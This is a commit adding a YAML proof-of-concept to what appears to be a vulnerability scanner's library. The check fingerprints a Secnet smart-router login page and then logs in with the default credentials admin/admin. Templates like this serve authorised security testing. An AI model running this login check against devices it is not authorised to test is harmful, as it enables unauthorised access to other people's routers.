poc-yaml-secnet-ac-default-password (chaitin#1472)

* Update secnet-ac-default-password.yml

Co-authored-by: smile-jpg <[email protected]>

pocs/secnet-ac-default-password.yml

@@ -0,0 +1,23 @@
+name: poc-yaml-secnet-ac-default-password
+manual: true
+transport: http
+rules:
+  uc1:
+    request:
+      cache: true
+      method: GET
+      path: /login.html
+    expression: response.status == 200 && response.body.bcontains(b"<title>安网科技-智能路由系统</title>")
+  uc2:
+    request:
+      cache: true
+      method: POST
+      path: /login.cgi
+      body:
+        user=admin&password=admin
+    expression: response.status == 200 && response.headers["Set-Cookie"].contains("ac_userid=admin,ac_passwd=") && response.body.bcontains(b"window.open('index.htm?_")
+expression: uc1() && uc2()
+detail:
+  author: iak3ec(https://github.com/nu0l)
+  links:
+    - https://bbs.secnet.cn/post/t-30